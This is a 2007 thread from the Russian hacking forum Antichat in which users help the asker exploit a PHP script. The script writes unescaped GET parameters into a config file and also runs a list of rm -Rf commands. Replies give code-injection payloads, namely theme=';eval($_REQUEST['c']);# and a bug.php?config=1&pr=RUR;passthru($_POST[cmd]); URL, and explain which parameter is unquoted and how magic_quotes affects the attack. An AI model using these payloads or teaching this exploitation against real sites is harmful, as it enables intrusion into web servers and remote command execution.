ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Как правильно экплаутировать?
  #1  
Старый 09.11.2007, 08:17
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


Exclamation Как правильно экплаутировать?

Есть код интересует exec.
И откуда берется переменная __FILE__ ?
PHP код:
<?
if(array_key_exists('config',$_GET)){

    
$source '<?'."\n";
    
$source .= '$SDATA[\'THEME\']  = \''.$_GET['theme'].'\';'."\n";
    
$source .= '$SDATA[\'SUPPORT-MAIL\'] = \''.$_GET['sem'].'\';'."\n";
    
$source .= '$SDATA[\'SUPPORT-HOST\'] = \''.$_GET['sh'].'\';'."\n\n";

    
$source .= '$SDATA[\'PRICE_MODIFIER\'][\'default\'] = '.$_GET['pr'].';'."\n";
    
$source .= '$SDATA[\'USE_FREE_VIAGRA_PILLS\'] = true;'."\n";
    
$source .= '$SDATA[\'USE_REWRITE_URLS\'] = true;'."\n";
    
$source .= '?>';
    
//mkdir(dirname(__FILE__).'/_cnf/'.$_GET['url'],0777);
    
if($fp = @fopen(dirname(__FILE__).'/_cnf/unknown/config.inc','w')){
        
fwrite($fp,$source);
        
fclose($fp);
        die(
'OK:-:');
    }
    else die(
'ERROR:-:writeconfig');
}
else{
    
$CMD = array();
    include_once 
dirname(__FILE__).'/cmd.php';
    
$cnt count($CMD);
    for(
$i=0;$i<$cnt;$i++){
        
exec($CMD[$i],$out,$res);
        if((
$CMD[$i] != 'chmod -R 777 ./_cnf') && ($CMD[$i] != 'chmod -R 777 ./var'))
        if(
$res != 0) die('ERROR:-:'.$CMD[$i]);
    }
}
?>
 
Ответить с цитированием

  #2  
Старый 09.11.2007, 10:05
gibson
Moderator - Level 7
Регистрация: 24.02.2006
Сообщений: 447
Провел на форуме:
2872049

Репутация: 705
Отправить сообщение для gibson с помощью ICQ
По умолчанию

у тебя эта строчка закоментированна
//mkdir(dirname(__FILE__).'/_cnf/'.$_GET['url'],0777);
создает директорию, где dirname это директория на хосте, __FILE__ скорее всего это какая то константа, дальше еще одна папка и файл, и выставляются чмоды.
Из манов:
mkdir ("/path/to/my/dir", cmod);

У тя где то в скриптах должно быть такое
define ("_FILE_", "samehit.php");
 
Ответить с цитированием

  #3  
Старый 09.11.2007, 10:08
inv
Banned
Регистрация: 03.08.2007
Сообщений: 313
Провел на форуме:
951141

Репутация: 291
По умолчанию

http://php.ru.manual.osdevel.com/language.constants.predefined.html
 
Ответить с цитированием

  #4  
Старый 09.11.2007, 10:16
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Еще раз интересует exec()
 
Ответить с цитированием

  #5  
Старый 09.11.2007, 10:18
FraiDex
Участник форума
Регистрация: 16.06.2006
Сообщений: 179
Провел на форуме:
515368

Репутация: 135
Отправить сообщение для FraiDex с помощью ICQ
По умолчанию

я думаю из [DOCUMENT_ROOT]
вот например при открытии файла
if($fp = @fopen(dirname(__FILE__).'/_cnf/unknown/config.inc','w'))
имя каталога она берёт из _FILE_ потом добавляет адрес нужного файла.
 
Ответить с цитированием

  #6  
Старый 09.11.2007, 10:32
gemaglabin
Banned
Регистрация: 01.08.2006
Сообщений: 725
Провел на форуме:
7681825

Репутация: 4451


По умолчанию

C exec ты ничего не поделаешь зато в конфиг можешь записать php код . config=1&theme=';eval($_REQUEST['c']);# если конечно ковычки не эскейпятся

Последний раз редактировалось gemaglabin; 09.11.2007 в 10:53..
 
Ответить с цитированием

  #7  
Старый 09.11.2007, 10:43
ZaCo
Banned
Регистрация: 20.06.2005
Сообщений: 880
Провел на форуме:
4610226

Репутация: 1332


По умолчанию

2gibson это предопределенная интепретатором константа.

>> include_once dirname(__FILE__).'/cmd.php';
ну мы же не знаем чего в cmd.php находится, а там как раз и идет определение массива $cmd.

зы я бы на твоем месте смотрел, что у нас в первом if идет)
зыы ужасные исходники
 
Ответить с цитированием

  #8  
Старый 09.11.2007, 11:06
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

[ cash ], константа __FILE__ является одной из предопределённых констант и всегда резолвится в полный путь до текущего файла, т.е. в нашем случае данная константа резолвится в полный путь к этому бажному скрипту. Что касается exec - в данном случае мы ничего поделать не можем, т.к. единственный параметр, который содержит выполняемую команду это $CMD и он обнуляется ($CMD = array()) перед использованием. Как правильно заметил Гема, в данном случае единственное само-собой напрашивающее действие - проинжектить параметры и прописать в конфиг свой php-код. То есть уязвимые параметры у нас: theme, sem, sh, pr. Можно использовать любой из них. Единственное - если на серваке включены magic_quotes это может обернуться для нас проблемой и лишит ряда удобств. Вот пример вызова этого скрипта:

Цитата:
bug.php?config=1&pr=RUR;passthru($_POST[cmd]);
Обрати внимание, я использовал параметр pr, т.к. в конфиге его значение не обрамляется кавычками.
 
Ответить с цитированием

  #9  
Старый 09.11.2007, 11:08
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

В cmd.php и есть масив с командами.

PHP код:
<?
$CMD
[] = 'rm -Rf ./core';
$CMD[] = 'rm -Rf ./data';
$CMD[] = 'rm -Rf ./themes';

$CMD[] = 'rm -Rf ./thumbs';
$CMD[] = 'rm -Rf ./temp';
$CMD[] = 'rm -Rf ./var';
?>
Цитата:
C exec ты ничего не поделаешь зато в конфиг можешь записать php код . config=1&theme=';eval($_REQUEST['c']);# если конечно ковычки не эскейпятся
Да токо пишеться inc файл...

Тоесть как я понял внедрить в массив CMD свою команду не реально?

И сам конфиг не куда не инклудиться... он всего лишь остаток скрипта который забыли удалить...

Последний раз редактировалось [ cash ]; 09.11.2007 в 11:13..
 
Ответить с цитированием

  #10  
Старый 09.11.2007, 11:42
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

Ну ничто не мешает открыть конфиг тебе, если парсится расширение inc и он доступен через веб. В массив CMD влезть нереально, так как он жёстко забит в файле и нету никакого интерфейса общения с ним.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Подробный Faq о открытии некоторых моделей домофонов system_32 Электроника и Фрикинг 23 18.12.2008 14:25
Seo - это не так легко как кажется _-Ramos-_ Статьи 0 24.10.2007 14:03
Как написать билдер на Vc++ 4nob1oz Авторские статьи 13 05.10.2007 01:27



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ